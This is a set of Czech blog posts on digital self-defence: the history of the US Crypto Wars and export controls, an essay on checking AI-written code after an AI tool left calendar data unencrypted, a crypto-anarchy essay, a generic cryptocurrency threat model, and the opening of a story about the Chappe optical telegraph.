Hned příští rok Matt Blaze „donutil“ Clipper poslat vadný LEAF. Výsledek? Dva uživatelé spolu mohli normálně šifrovaně komunikovat, jejich zařízení komunikaci přijala, ale policie by z LEAF nedokázala získat správný klíč.
Clipper tím přestal dávat smysl jako nástroj pro kontrolované odposlechy.
Tady se ukázalo, že „bezpečný vládní zadní vchod“ není jen právní otázka, ale i křehký technický mechanismus.

Vkládat „zadní vrátka“ do šifrování je prostě špatný nápad (který se ale s železnou pravidelností vrací) – buď mohou selhat, nebo se k nim časem dostane i ten, pro koho nejsou určena.

První výstřely

Phil Zimmermann v roce 1991 zveřejňuje PGP – způsob šifrovaní, který může použít běný uživatel pro svoje zprávy a soubory. Takové šifrování, které nebylo realistické prolomit běžnými prostředky. Zimmermann dal veřejnosti volně k dispozici něco, co bylo do té doby přístupné pouze vládním agenturám a akademikům.
Ale nezapomeňme, že stále platí ITAR – zákaz vývozu zbraní mimo USA. A kryptografie je podle úřadů zbraň. Takže Phil Zimmermann je v roce 1993 předvolán k výslechu, protože je podezřelý z toho, že vyváží vyváží zbraně. Vyšetřování se táhlo až do roku 1996, kdy bylo ukončeno bez obžaloby.

A v roce  1997byl zdrojový kód PGP vytištěn jako kniha (přesněji 12 knih) a poslán do Evropy, kde byla kniha převedena zpět do elektronické podoby. To bylo legální. Jak to?
Mezitím se totiž děly věci…

Tohle triko je zbraň!

Jestli něco umějí cypherpunks a kryptoanarchisté dobře (kromě šífrování, ochrany bezpečnosti a soukromí a dalších nepodstatných věcí) tak je to trolení úřadů. Šifrování je zbraň? Hodl my beer.
Adam Back vytvořil v roce 1995 minimalistickou implementaci RSA v jazyce Perl. Ta byla tak krátká, že se dala na něco vytisknout. Třeba na tričko.
A to taky Adam Back spolu s komunitou kolem Cypherpunk Mailing List udělali. Na tričko vytiskli varování

This shirt is classified as a munition and may not be exported from the United States, or shown to a foreign national
(Toto triko je považováno za munici a nesmí být vyvezeno z USA, ani ukázáno žádnému cizinci)

a samozřejmě onen kód v jazyce Perl, včetně čárového kódu k jeho naskenování.

Disketu? Ne, raději knihu

Phil Karn se v roce 1994 zeptal úřadů, jestli může vytisknout knihu Applied Cryptography a jestli může zdrojové kódy z knihy nahrát na disketu. Kniha nebyla považována za kontrolovanou podle ITAR, takže vytisknout ji bylo legální. Disketa? Ta exportní kontrole podléhá, protože je to strojově čitelný kryptografický software. Bez licence ji tedy nesmíš legálně vyvézt/poslat mimo USA.
Je to jeden z nejlepších příkladů absurdity exportních pravidel: stejný kód na papíře byl řeč/publikace, ale na disketě už obranný artikl. I když v knize toho bylo dokonce mnohem víc.

Karn s tím nebyl úplně OK, a tak vládu zažaloval. V roce 1996 ale u okresního soudu neuspěl. Absurdní rozdíl mezi knihou a disketou nezmizel díky jeho soudní výhře, ale až později s uvolněním exportních pravidel.

I další se s vládou soudili – Daniel J. Bernstein chce publikovat algoritmus Snuffle, zdrojový kód a související akademický text. Tvrdí, že exportní pravidla mu brání učit, publikovat a diskutovat kryptografii. Soud vyhrál v roce 1996 a ustál i odvolání v roce 1999.

A právě tyto případy umožnily legální export PGP mimo USA: V elektronické podobě je PGP zbraň. Ale vytištěný na papíře je to svobodný projev chráněný Prvním dodatkem ústavy Spojených Států.

Mimochodem, Zimmermannova firma PGP Inc. vydala v roce 1997 papírový newsletter „The Zimmermann Telegram“, aby šířila kryptografické informace poštou, protože papír měl větší ochranu než elektronický software. Název navíc odkazuje na tzv. Zimmermannův telegram z 1. světové války. Byl to tajný německý diplomatický vzkaz z roku 1917.
Německo v něm nabízelo Mexiku spojenectví proti USA, pokud by USA vstoupily do války. Britové telegram zachytili a rozšifrovali.

Konec?

Situace byla pro úřady neudržitelná. Internet se dostal do domácností a „vývoz“ software byl v podstatě neregulovatelný.

16. září 1999 oznamuje Clintonova administrativa zásadní liberalizaci exportu. Po technickém přezkumu má být možné exportovat produkty s libovolnou délkou klíče většině jednotlivců, firem a nevládních uživatelů mimo sankcionované/rizikové země. To je faktický začátek konce první fáze Crypto Wars v jejich „exportní“ podobě.
14. ledna 2000 pak začínají platit nová pravidla Commerce Department. Federal Register publikuje změny, které výrazně uvolňují export a reexport šifrovacího softwaru. U veřejného zdrojového kódu stačí oznámení a pravidla výslovně řeší zveřejnění na internetu. To je už praktický zlom: silná kryptografie se může stát normální součástí internetu, prohlížečů, e-mailu a komerčního softwaru.

Následky

Zdálo by se, že celé Crypto Wars byla jen epizoda s několika soudními spory a několika happeningy. Ale měly i vážnější následky – například první více veřejně rozšířený internetový prohlížeč Netscape Navigator měl silnější americkou verzi, mezinárodní verze musela používat slabší šifrování, typicky 40bitové.
Exportní Lotus Notes měl 64bitové šifrování, ale 24 bitů klíče bylo zašifrováno pro NSA. Výsledkem bylo, že běžný útočník měl práci jako s 64 bity, ale NSA efektivně řešila jen 40 bitů. IBM/Lotus dostal povolení exportovat silnější produkt výměnou za to, že to vytvořilo privilegovaného útočníka.
Debian musel historicky držet kryptografické balíčky na serveru mimo USA, protože export kryptografického kódu z USA byl problém.
SSL podpora pro Apache se dlouho řešila mimo hlavní Apache a mimo USA, protože export mod_ssl/OpenSSL z USA byl právně problematický.
Java měla dlouho omezenou kryptografickou politiku a „unlimited strength“ se muselo doinstalovat zvlášť. Oracle zapnul unlimited crypto defaultně až v JDK 8u161, tedy v roce 2018.
Kvůli exportním limitům vznikly speciální „step-up“ SSL certifikáty, které dovolily některým webům zvednout slabé 40/56bitové šifrování na 128 bitů.

A následky byly i dlouhodobé – slabé exportní režimy v TLS/SSL přežily v implementacích a o mnoho let později vedly k reálným útokům. FREAK zneužíval export RSA, Logjam export Diffie-Hellman a DROWN slabiny SSLv2/exportní crypto. Technický dluh přežil politiku o 15-20 let.

Čtyři jezdci infokalypsy

Timothy C. May tomu říkal „čtyři jezdci infokalypsy“: teroristé, pedofilové, drogoví dealeři a finanční zločinci. Nešlo mu o to, že tyto hrozby neexistují, ale o to, že se pořád dokola používají jako univerzální argument pro omezení šifrování, anonymity a soukromí.

Dnešní americká pravidla už většinou neblokují export silné kryptografie jako v 90. letech, ale stopa Crypto Wars nezmizela úplně: u některého veřejného kryptografického kódu se stále pracuje s oznamovací povinností a komerční produkty s kryptografií mohou pořád spadat do exportní klasifikace.

Ale není to jen záležitost USA.

Politici totiž rádi opakují hlavně chyby svých předchůdců s tím, že

„Tentokrát to bude jiné, slibuju“

První Crypto Wars neskončily tím, že by se státy smířily se silným šifrováním. Jen se změnil jazyk. Po roce 2000 už politici většinou nemluvili o zákazu kryptografie nebo exportu „munice“, ale o „lawful access“, „technical capability“, „traceability“ nebo „client-side scanning“. V praxi šlo často o totéž: vytvořit cestu, jak se stát může dostat k obsahu komunikace, i když ji uživatelé považují za soukromou a chráněnou end-to-end šifrováním. Vidět to bylo v americkém sporu FBI s Applem po útoku v San Bernardinu, v britských tajných technických příkazech podle Investigatory Powers Act, v australském Assistance and Access Act, v indickém požadavku na dohledání původce zprávy, v ruském tlaku na Telegram nebo v evropské debatě o Chat Controlu. Argumenty?
Terorismus, organizovaný zločin, ochrana dětí, národní bezpečnost.

The post Crypto Wars – může vláda zakázat matematiku? appeared first on DIGITÁLNÍ SEBEOBRANA.

AI nám bere kontrolu nad vývojem, bezpečností a daty!
A bere práci programátorům.

AI nám nic nesebrala. Nemůže. Tu moc nemá. Ale i kdyby měla, nemusela by. My jsme jí kontrolu nad vývojem, bezpečností a daty předali sami. Protože je to pohodlné, rychlé a často to překvapivě dobře funguje.

Problém není, když kód nefunguje. To poznáme hned a můžeme ho opravit. Problém je, když kód nějak funguje, ale v pozadí dělá něco jiného, než by se nám líbilo. V bezpečnosti totiž to, že něco nějak funguje vůbec nestačí.
Měli bychom vědět, jak to funguje, a když se něco změní, tak co to bylo a kde.

Nový aktér

O AI často mluvíme jako o nástroji. Podobně jako o textovém editoru, vyhledávači nebo „autocomplete“.
Jenže AI není jen obyčejný nástroj.
AI:

• čte zadání
• interpretuje záměr
• navrhuje architekturu
• píše kód
• upravuje konfiguraci
• doporučuje knihovny
• vysvětluje chyby
• a často i spouští příkazy

Takže v bezpečnostním modelu už to není pasivní kladivo. Je to další aktér, který se účastní rozhodování – threat model se rozšířil.
Když držím v ruce kladivo jako nástroj, já se rozhoduji o tom, jakou silou, do čeho a jestli vůbec do něčeho praštím.

AI je kladivo, které si o tom všem rozhoduje samo, jen na základě našich instrukcí (promptů). A je nutné si uvědomovat, že my jsme ti, kdo nese zodpovědnost.
Můžu kladivu zadat úkol – "Zatloukej hřebíky!".
AI kladivo „vidí“ hřebík. Vyhodnocuje – "Hm, hřebík, zatluču ho. A je velkej, dám do toho větší sílu".
A vy pak koukáte, jak AI kladivo mlátí do háčku ve zdi. Do háčku v sádrokartonové zdi. Do háčku, na kterém jsou klíče od auta.

AI udělala chybu. My máme problém.

Delegovali jsme na AI nejen vývoj, ale i kontrolu. A dost často jen zdání kontroly. V chatu nám AI tvrdí, že vše je bezpečné. Ale je to tak opravdu?
Když AI vygeneruje kód, který umožní útočníkům získat data našich uživatelů, reputační problém máme my, nikoli AI agent. Těžko můžeme při úniku dat ukázat prstem na AI agenta s tím, že „za to může on!“
Našeho (teď již dost možná bývalého) zákazníka většinou nezajímá, jak byla aplikace vytvořena. Vy ji nabízíte, můžete si za ni i účtovat peníze, tak je vaše zodpovědnost, že data uživatelů zůstanou tam, kde mají být.

Cesta už není cíl

Možnosti vibe codingu umožnily vytvářet aplikace i těm, kteří nikdy nic neprogramovali. Není problém to, že někdo nezná konkrétní syntaxi nějakého programovacího jazyka. To je totiž jen malá část celého programování.
Mezi další důležité součásti vývoje patří např. algoritmizace, propojení jednotlivých částí, nakládání s pamětí, daty a další. Před nástupem vibe coding nástrojů se často programovalo tak, že se jednotlivé části kódu prostě kopírovaly ze stránek typu StackOverflow. Nebylo to ideální, ale autor měl alespoň představu, jakým způsobem funguje např. přihlašování k aplikaci, protože věděl, že musel vytvářet (nebo kopírovat) kód pro běh databáze, přihlašovací formulář na webu a také kód pro server, který data z formuláře porovnával, případně ukládal do té databáze. Takže autor aplikace si možná nepamatoval konkrétní příkaz pro uložení hesla do databáze, ale alespoň věděl, jaká ta cesta hesla do databáze byla a jestli bylo heslo uloženo bezpečně. Dnes? Zadáme „Vytvoř přihlašování pro moji aplikaci“. Enter. A během chvilky máme přihlašování.

Nová funkce -> nové dveře

Takže máme přihlašování. Ale je heslo v databázi uloženo bezpečně nebo je normálně čitelné? Co když zadám do přihlašovacího formuláře něco, co se tam normálně neočekává, například kus kódu? Nebudu schopen přečíst si všechna data z vaší databáze? Nebo se změnou nějakého parametru přihlásit jako jiný uživatel bez toho, že bych znal jeho/její heslo?

Možná si na přihlašování dáme větší pozor, protože tak nějak tušíme, že nakládání s přihlašovacími údaji je kritická část.

Ale co další, na první pohled nevinné funkce?

„Přidej upload souborů“. Zní jako běžná funkce. Ale najednou řešíte:

• Kdo soubor vidí?
• Kde je uložený?
• Jde stáhnout bez přihlášení?
• Může někdo nahrát něco nečekaného?
• Zůstane tam soubor i po smazání účtu?

Upload není jen „ulož soubor“. Je to nové skladiště cizích dat.

„Přidej sdílení odkazem“

Zní to jako jednoduchá pohodlná funkce.

• Kdo ten odkaz může otevřít?
• Dá se odkaz uhodnout?
• Jde později zneplatnit?
• Zobrazí víc dat, než by měl?
• Indexuje ho někde crawler?

Sdílecí odkaz je v podstatě druhé přihlášení. Jen je bez hesla.

Ještě?

„Přidej export do PDF“

• Zní neškodně, protože uživatel si jen stáhne vlastní data.
• Co všechno se do PDF dostane?
• Jsou tam metadata?
• Je PDF někde dočasně uložené?
• Může si někdo stáhnout cizí export?
• Zůstávají exporty na serveru?

Export často vytvoří druhou kopii dat. A ta druhá kopie už nemusí mít stejnou ochranu jako originál.

Příklady by se daly vymyslet asi na většinu funkcí vaší aplikace. A víte jistě, že tohle vaše AI řeší?

Neudělá tu novou funkci prostě rychle a jednoduše, aby vám udělala radost?

AI nevymýšlí nové chyby, vyrábí je ve větším tempu.

U vibe codingu často nejde o úplně nové typy chyb. Jsou to věci, které známe už dlouho: uživatel vidí data někoho jiného, soubor je dostupný bez přihlášení, citlivé údaje skončí v databázi v čitelné podobě, aplikace zapomene ověřit, kdo má k čemu přístup, nebo se do projektu přidá knihovna, které nikdo nerozumí.
Nové je hlavně tempo. Dřív člověk takovou chybu napsal ručně v jedné části aplikace. Dneska AI během pár minut přidá login, upload, export, sdílení a API – a stejný typ chyby se může objevit na více místech najednou.

AI není nový druh chyby. AI je zrychlovač starých chyb.

(Téměř) Fuck Up ze života

Nejsem programátor. Sice už jsem v životě několik málo věcí naprogramoval, ale nikdy jsem se tomu dlouhodobě nevěnoval. A podle toho to vypadalo. Moje výtvory „nějak“ fungovaly, ale spíše jen pro moje osobní použití, peníze bych si za to brát asi nemohl.

S nástupem AI nástrojů jsem se rozhodl „přepsat“ jeden můj starší projekt do obecně použitelné podoby. A protože to znamenalo i nakládání s daty uživatelů, chtěl jsem to mít nastavené tak, že ani já jako provozovatel serveru nemám být schopný data uživatelů číst.

Takže jedno ze základních zadání nebylo jen „nějak tam dej šifrování“. Byl to konkrétní požadavek na koncové (end-to-end) šifrování. Protože nejenom, že mě data uživatelů nezajímají. Já je nechci mít v čitelné podobě i pro případ, že by ze serveru unikly, což je riziko, které nesou všichni, kdo nakládají s daty uživatelů, ať jde o malý projekt jednoho autora, nebo velké mezinárodní korporace. Stát se to prostě může – a stává se to.

Vývoj pokračoval poměrně dobře, AI programovala jak divá, všechno tak nějak fungovalo podle očekávání.

Později jsem přidal export do internetového kalendáře. Praktická funkce, celkem normální požadavek. AI funkci naprogramovala. Fungovalo to.

Po nějaké době jsem chtěl vědět, jestli je opravdu vše v databázi zašifrováno. Data z aplikace šifrovaná byla. Ale vedle těch dat byla tabulka s daty pro export do internetového kalendáře. V čitelné podobě. Ta samá data, která byla „vedle“ bezpečně šifrovaná.

Export do kalendáře totiž není možné koncově šifrovat. Můj požadavek (z mojí neznalosti) šel proti jednomu ze základních pravidel.

AI implementovala funkci, splnila úkol. Ale že tím porušila jedno ze základních pravidel, mi jaksi zapomněla oznámit.

Je to jako dát na dveře kvalitní zámek, ale pak kvůli pohodlí udělat vedle druhé dveře bez zámku. Ten první zámek pořád existuje. Jen už nechrání celou cestu.
Šifrování nebylo prolomené. Bylo obejité. Ne hackerem. Vývojářem.

Mojí výhodou je, že se bezpečností zabývám. Takže nejenže vím, jak si to zkontrolovat, ale hlavně vím, co si mám kontrolovat. A že si to mám kontrolovat. Takže jsem se s tím mohl vypořádat a automatický export do kalendáře jsem vypnul.

Ale pokud bych to neudělal, sliboval bych svým zákazníkům něco, co není pravda. A pravděpodobně by se na to časem přišlo. A to bych vážně nerad:)

Don’t vibe. Verify.

Nechci tím říct, že nemáme vibe codovat. Já to taky dělám. AI je skvělá na rychlé prototypy, refactoring, hledání řešení, generování částí kódu nebo vysvětlování problémů. Problém není vibe coding. Problém je, když zůstane jen vibe – když přijmu výsledek, protože vypadá dobře, ale neověřím, co se změnilo.

V kryptu známe „Don’t trust, verify“. Neznamená to „nikdy nikomu nevěř, nikdy nic nepoužívej“. Znamená to: důvěra není kontrola.

A přesně to samé platí pro AI. Don’t vibe. Verify neznamená „nepoužívej AI“. Znamená to: nepřijímej výsledek jen podle dojmu. Ověř sliby, data, oprávnění a nové dveře, které jsi právě vytvořil.

Everyone knows that debugging is twice as hard as writing a program in the first place. So if you’re as clever as you can be when you write it, how will you ever debug it?

— Brian Kernighan, The Elements of Programming Style, 2nd edition, chapter 2

The post Promptpunk I. – Don’t vibe. Verify. appeared first on DIGITÁLNÍ SEBEOBRANA.

Kryptoanarchie bývá často porovnávána se společenskými ideologiemi jako anarchokomunismus, anarchokapitalismus a dalšími. Toto srovnání nemůže fungovat z jednoho prostého důvodu. Kryptoanarchie není ideologie, která společnosti navrhuje (nebo nařizuje), jakým způsobem má být řízena a jaká pravidla by společnost měla dodržovat. Kryptoanarchie totiž není společenský systém.

Aby fungovala demokracie, anarchokomunismus, anarchokapitalismus nebo třeba monarchie je potřeba síla k tomu, aby se takový systém udržel. Bud dostatečné množství lidí, kteří se spoji dohromady nebo velmi silný (ať už ekonomicky nebo sociálně) jedinec či skupina. Dostatečně silný jedinec může ovládnout demokratickou společnost bez ohledu na názor většiny (např. KSČ stačilo pro ovládnutí celého Československa na 40 let získat ve volbách v roce 1946 “pouhých” 31,2 % hlasů). Podobně je neudržitelný koncept anarchokapitalismu, pokud není možnost vynucovat tzv. Non-Agressive Principle. Komunisté si nevynutí odevzdání soukromého majetku na dostatečně silném subjektu.
Kryptoanarchisté se většinou nesnaží měnit společnost. Jejich cílem je taková míra soukromí a bezpečnosti, která zajišťuje dostatečnou míru svobody. A samotná míra dostatečné svobody je individuální.

Kryptoanarchie je tedy spíše soubor nástrojů a technik, které pomáhají zachovat si takovou míru soukromí a bezpečnosti, která je pro jednotlivce nebo společenství dosažitelná nebo cílená. Základním nástrojem kryptoanarchie je šifrování informací. Použití takových technik, které znemožní tomu, před kterým informace skrýt nejen danou informaci získat, ale ani se o existenci takové informace dozvědět. Ať už se jedná o komunikaci, elektronická data nebo třeba finanční transakci. Tyto nástroje nemusí být nutně vysoce sofistikované nebo vyžadující výkonnou výpočetní techniku. Chcete spolužákovi sedícímu vedle vás v lavici poradit s těžkým příkladem při písemce tak, aby to učitel nevěděl, nebo chcete svému partnerovi sdělit něco velmi soukromého, ale jste obklopeni dalšími lidmi? Použijete velmi jednoduchou techniku – pošeptáte mu to.

Tento soubor technik a nástrojů není a pravděpodobně nikdy nebude definitivní. Nelze napsat Bibli kryptoanarchie, která by platná navěky. Stejně jako se vyvíjí společnost a technologie, vyvíjí se i kryptoanarchie. Potřeba soukromí byla jiná (možná žádná) v prvotně pospolné společnosti, jiná ve starém Římě, jiná je dnes v době digitální revoluce a opět jiná bude v budoucnosti (například při pobytu ve vesmírných lodích nebo při osidlováni jiných kosmických objektu). Stejně tak se vyvíjejí i technologie, které se snaží šifrované informace odhalit. Šifrovací techniky, které byly považovány za bezpečné před dvaceti lety jsou dnes většinou nepoužitelné, prolomit se dají v řádu minut. Ptát se, kdy bude kryptoanarchie “hotová”, je podobné jako ptát se, kdy bude hotový Internet.

Kryptoanarchie může navíc nabourávat jakýkoliv sociální systém. Vyřazuje ze hry státní i soukromé soudy, policii a armádu. Pokud neznáte pachatele, nemůžete ho soudit a/nebo odstranit (zavřít či zabít) pro porušení zákona nebo NAP (princip neagrese). Kryptoanarchie neřeší otázku volného či regulovaného trhu. Volný trh je vlastně její pevnou součástí. Nelze regulovat něco, o čem se regulátor nedozví a nemůže trestat někoho, koho nezná.

Sociální systémy jsou založeny na právech a povinnostech. Jediné přirozené povinnosti jsou ty, které jsou pudové. Například přirozená povinnost matky postarat se o své potomky. A ani ta není mimo sociální systém nijak vymahatelná. Vše ostatní, jak povinnosti, tak práva jsou umělý konstrukt, který je vymáhán sociálním systémem.

Jediné “právo”, které platí univerzálně, je právo silnějšího. Jak v přírodě (živé i neživé), tak ve společnosti.

Proč máme povinnost platit daně, podrobovat se rozsudkům soudů a sdílet svá soukromá data s vládci? Silnější tak rozhodl. V tomto případě je ten silnější dostatečné množství lidí (což nutně neznamená většina), kteří jsou schopni tyto povinnosti vymáhat pod hrozbou násilí. Neplatí to pouze pro lidská společenství, příklady najdeme i v přírodě. Proč má mravenčí královna (která je ve skutečnosti spíše otrokem) za povinnost celý svůj život strávit plozením nových generací v malém prostoru hluboko v mraveništi? Protože pokud by se této povinnosti vzepřela, mravenčí společnost by ji potrestala. Taková královna by měla život kratší, než je životnost slibů politiků po volbách.

Neexistuje žádné přirozené právo na život. Vymyslela ho lidská společnost a dohodla se (ať už dobrovolně nebo nedobrovolně), že ho bude vynucovat. Stejně tak právo na osobní vlastnictví nebo “důstojný život”. V přírodě se antilopa před lvem neohání listinou základních práv a svobod zvířat. Ví, že musí utéct, nic jiného jí nezbývá.

Kryptoanarchie jsou nástroje, pomocí kterých se jedinec může vyhnout tlaku společnosti na plnění pravidel a/nebo dodržování práv ostatních. Pohnutky pro to mohou být “dobré” i “zlé” (hodnocení je ale vždy individuální). Pro člověka, který je zvyklý dodržovat pravidla, které mu nastavil někdo jiný to může znít jako nebezpečné chování, ale to je opět jen individuální hodnocení. Často takové bezpodmínečné dodržování pravidel umíme vyhodnotit až s odstupem času. Velké části (nejen) německé populace přišly tzv. Norimberské zákony v pořádku a bylo normální je dodržovat. A dnes nám to přijde nepochopitelné. Stejně tak se můžeme za několik desítek let dívat například na současné regulace trhu, kriminalizaci uživatelů drog nebo zločin vlastizrady.

Neznamená to, že kryptoanarchista nedodržuje žádná pravidla a porušuje všechny zákony. Hraje zde roli mnoho faktorů, jako například otázka vlastní bezpečnosti, morálka nebo třeba ekonomický zisk. A i když se to možná na první pohled nezdá, většina lidí nemá zájem škodit. Proč si v obchodě, když se prodavač nedívá, většina(!) z nás prostě nestrčí lahev z regálu do tašky? Není to ze strachu ze zákona (a trestu). Je to pro to, že máme v sobě zakódované jakýsi morální kodex. Obrat někoho o jeho majetek nám prostě nepřijde správné bez ohledu na to, zda je na to nějaký zákon.

Smyslem kryptoanarchie tedy není – jak by se mohlo zdát – primárně porušovat pravidla. Smyslem je udržet si takovou míru svobody, která je pro nás důležitá a ochránit sebe a své blízké před nebezpečím, které může hrozit, pokud se k našim informacím dostane někdo, kdo je chce (a umí) použít proti nám. Historie nám ukázala, že toto nebezpečí není nereálné.

The post Kryptoanarchie – šifrou ke svobodě appeared first on DIGITÁLNÍ SEBEOBRANA.

Tento dokument slouží jako osobní threat model zaměřený na kybernetickou bezpečnost v oblasti kryptoměn. Jeho cílem je identifikovat potenciální hrozby a zranitelnosti a navrhnout opatření k jejich minimalizaci.

2. Identifikace aktérů a cílů

Aktéři

• Hackeři
• Regulátorní orgány
• Konkurence
• Blízcí

Cíle

• Krypto peněženka
• Transakční historie
• Investiční strategie

Aktéři a Cíle: Detailní Pohled

V této části threat modelu je klíčové podrobně identifikovat aktéry, kteří by mohli představovat hrozbu, a cíle, které by mohli chtít kompromitovat. Každý aktér a cíl by měl být podrobně rozveden, včetně motivací, schopností a způsobů útoků.

Hackeři

• Motivace: Finanční zisk, reputační důvody, ideologické přesvědčení
• Schopnosti: Malware, ransomware, phishingové útoky
• Způsoby útoků: Infiltrace do peněženky, keylogging, SIM swapping

Regulátorní orgány

• Motivace: Dohled a regulace, zajištění dodržování zákonů
• Schopnosti: Legální opatření, přístup k veřejným a soukromým databázím
• Způsoby útoků: Soudní příkazy, konfiskace majetku, audit

Konkurence

• Motivace: Získání konkurenční výhody, finanční zisk
• Schopnosti: Průmyslová špionáž, social engineering
• Způsoby útoků: Infiltrace, dezinformace, manipulace trhu

Blízcí

• Motivace: Osobní zájmy, možná finanční zisky
• Schopnosti: Přístup k osobním zařízením, znalost osobních informací
• Způsoby útoků: Použití známých hesel, přístup k nezabezpečeným zařízením

Cíle

Krypto peněženka

• Důležitost: Vysoká
• Typy útoků: Phishing, malware, fyzický přístup
• Opatření: Hardwarová peněženka, 2FA, silná hesla

Transakční historie

• Důležitost: Střední
• Typy útoků: Sledování IP adresy, kompromitace směnárny
• Opatření: Použití VPN, decentralizované směnárny

Investiční strategie

• Důležitost: Střední až vysoká
• Typy útoků: Social engineering, průmyslová špionáž
• Opatření: Omezení sdílení informací, použití šifrované komunikace

3. Zranitelnosti

Používání online peněženek s nízkým zabezpečením

• Popis: Online peněženky jsou často cílem útoků, zejména pokud nejsou správně zabezpečeny.
• Aktéři: Hackeři, konkurence
• Typy útoků: Phishing, brute-force útoky
• Opatření: Přechod na hardwarovou peněženku, použití 2FA

Nezabezpečená Wi-Fi síť

• Popis: Používání nezabezpečených Wi-Fi sítí může umožnit útočníkům snadný přístup k vašim datům.
• Aktéři: Hackeři, blízcí
• Typy útoků: Man-in-the-middle útoky, sniffing
• Opatření: Použití VPN, připojení pouze k důvěryhodným sítím

Používání neaktualizovaného software

• Popis: Starý nebo neaktualizovaný software může obsahovat zranitelnosti, které mohou být využity k infiltraci.
• Aktéři: Hackeři, regulátorní orgány
• Typy útoků: Exploitace známých zranitelností
• Opatření: Pravidelné aktualizace software, použití bezpečnostních záplat

Nedostatečná dvoufaktorová autentizace (2FA)

• Popis: Absence nebo špatná implementace 2FA může vést k snadnému přístupu k citlivým údajům.
• Aktéři: Hackeři, blízcí
• Typy útoků: Brute-force útoky, SIM swapping
• Opatření: Aktivace a správná konfigurace 2FA

Nedostatečná opsec (operational security)

• Popis: Nedostatečná opsec může zahrnovat špatné zacházení s hesly, klíči a dalšími citlivými údaji.

čná opsec může zahrnovat špatné zacházení s hesly, klíči a dalšími citlivými údaji.

• Aktéři: Všichni
• Typy útoků: Social engineering, phishing
• Opatření: Vzdělání v oblasti kybernetické bezpečnosti, použití správce hesel

4. Vektory útoků

Phishingové útoky

• Popis: Útoky, které se snaží získat citlivé informace prostřednictvím podvodných e-mailů nebo webových stránek.
• Aktéři: Hackeři, konkurence
• Zranitelnosti: Nedostatečná opsec, používání online peněženek s nízkým zabezpečením
• Opatření: Vzdělání v oblasti kybernetické bezpečnosti, použití 2FA

Man-in-the-middle útoky

• Popis: Útoky, kdy útočník odposlouchává nebo manipuluje s komunikací mezi dvěma stranami.
• Aktéři: Hackeři, regulátorní orgány
• Zranitelnosti: Nezabezpečená Wi-Fi síť, neaktualizovaný software
• Opatření: Použití VPN, šifrování komunikace

Social Engineering

• Popis: Manipulace s lidmi k získání citlivých informací nebo přístupu k systémům.
• Aktéři: Konkurence, blízcí
• Zranitelnosti: Nedostatečná opsec, nedostatečná 2FA
• Opatření: Vzdělání v oblasti kybernetické bezpečnosti, omezení sdílení informací

SIM Swapping

• Popis: Útok, při kterém útočník získá kontrolu nad cílovou SIM kartou.
• Aktéři: Hackeři
• Zranitelnosti: Nedostatečná 2FA, nedostatečná opsec
• Opatření: Použití hardwarové 2FA, vysoká úroveň opsec

5. Opatření

Použití hardwarové peněženky

• Popis: Hardwarové peněženky poskytují vysokou úroveň zabezpečení pro ukládání kryptoměn.
• Aktéři: Hackeři
• Vhodné pro: Ochrana krypto peněženky
• Jak implementovat: Zakoupení důvěryhodné hardwarové peněženky, jako je Ledger nebo Trezor, a přesunutí kryptoměn na ni.

Použití VPN

• Popis: VPN poskytuje anonymitu a zabezpečení při procházení internetu.
• Aktéři: Regulátorní orgány, hackeři
• Vhodné pro: Ochrana transakční historie, zabezpečení Wi-Fi
• Jak implementovat: Vybrání důvěryhodného poskytovatele VPN a aktivace při připojení k internetu.

Aktivace a správná konfigurace 2FA

• Popis: Dvoufaktorová autentizace poskytuje dodatečnou vrstvu zabezpečení.
• Aktéři: Hackeři, blízcí
• Vhodné pro: Ochrana krypto peněženky, zabezpečení online účtů
• Jak implementovat: Aktivace 2FA na všech důležitých účtech a použití aplikace jako Google Authenticator nebo hardwarového klíče jako YubiKey.

Vzdělání v oblasti kybernetické bezpečnosti

• Popis: Vzdělání a osvěta jsou klíčové pro rozpoznání a odvrácení útoků.
• Aktéři: Všichni
• Vhodné pro: Ochrana proti všem typům útoků
• Jak implementovat: Absolvování kurzů kybernetické bezpečnosti, čtení aktuálních zpráv a článků, účast na webinářích a konferencích.

6. Závěr

Tento osobní threat model je prvním krokem k zajištění mé kybernetické bezpečnosti v oblasti kryptoměn. Plánuji pravidelně aktualizovat tento dokument a implementovat nová bezpečnostní opatření podle aktuálního vývoje hrozeb.

The post Osobní Threat Model appeared first on DIGITÁLNÍ SEBEOBRANA.

Chappeho telegraf

V roce 1794 přišel francouzský vynálezce Claude Chappe se systémem vizuálních semaforových telegrafů. Pomocí nastavení ohebných ramen umístěných na věži (stožáru) bylo možno zobrazit písmena, čísla i některé speciální znaky, jako například začátek a konec komunikace nebo vymazání posledního znaku při překlepu. V tomto případě spíše „přeohnutí“.

Jednotlivé věže byly od sebe vzdáleny tak, aby bylo z jedné vidět na další. A tak se zpráva mohla šířit z jedné věže na druhou až do cílové destinace. Uvádí se, že rychlost přenosu zprávy byla až 500 km za hodinu.

Ve Francii byla během 19. století vybudována síť Chappeho vizuálních telegrafů pro potřeby státu (a hlavně armády). Například mezi Paříží a Brestem bylo na trase 58 stanic. Běžní občané služby této komunikační sítě ale využít nemohli.

V komunikaci se dokonce používalo end-to-end šifrování. Vzhledem k tomu, že pomocí sítě telegrafů byla přenášena vojenská tajemství, nebylo příliš vhodné, aby si komunikaci mohl číst kdokoliv, kdo měl výhled na telegrafní věž. Odesílatel a příjemce tak měli dohodnutý klíč, pomocí kterého šifrovali své zprávy. Operátoři věží po cestě jen šifrovanou zprávu opakovali znak za znakem aniž by dokázali rozluštit, co je obsahem zprávy. Odesílatel a příjemce zprávy tak měli v roce 1800 více soukromí než uživatelé Facebook Messengeru v roce 2021 (o šifrování messengerů více zde).

François a Louis Blanc

Bratři Blancové obchodovali se státními dluhopisy na burze v Bordeaux. Při takovém obchodování je rychlost informací stěžejní – kdo má rychlejší zprávy z centrálního bodu dění (v tomto případě Paříž), má nad ostatními obchodníky výhodu, protože může lépe předvídat pohyby na burze.

Zprávy z Paříže do Bordeaux byly tradičně posílány dostavníkem, což trvalo pět dní. Někteří obchodníci se snažili zkrátit tuto dobu používáním poštovních holubů nebo najímáním poslů. To bylo sice rychlejší, ale ne nijak výrazně. Bratrům Blancovým to rozhodně nestačilo. Věděli, že existuje výrazně rychlejší způsob komunikace na dlouhé vzdálenosti. Ten byl ale vyhrazen armádě, obchodníci jej využít nemohli. A tak většina obchodníků nadále přemýšlela nad zlepšováním aerodynamiky holuba. Ale bratři Blancové byli hackeři (i když to o sobě na Twitteru podle dostupných zdrojů netvrdili). Takže se myšlenky na využití Chappeho telegrafní sítě nevzdali.

Plán

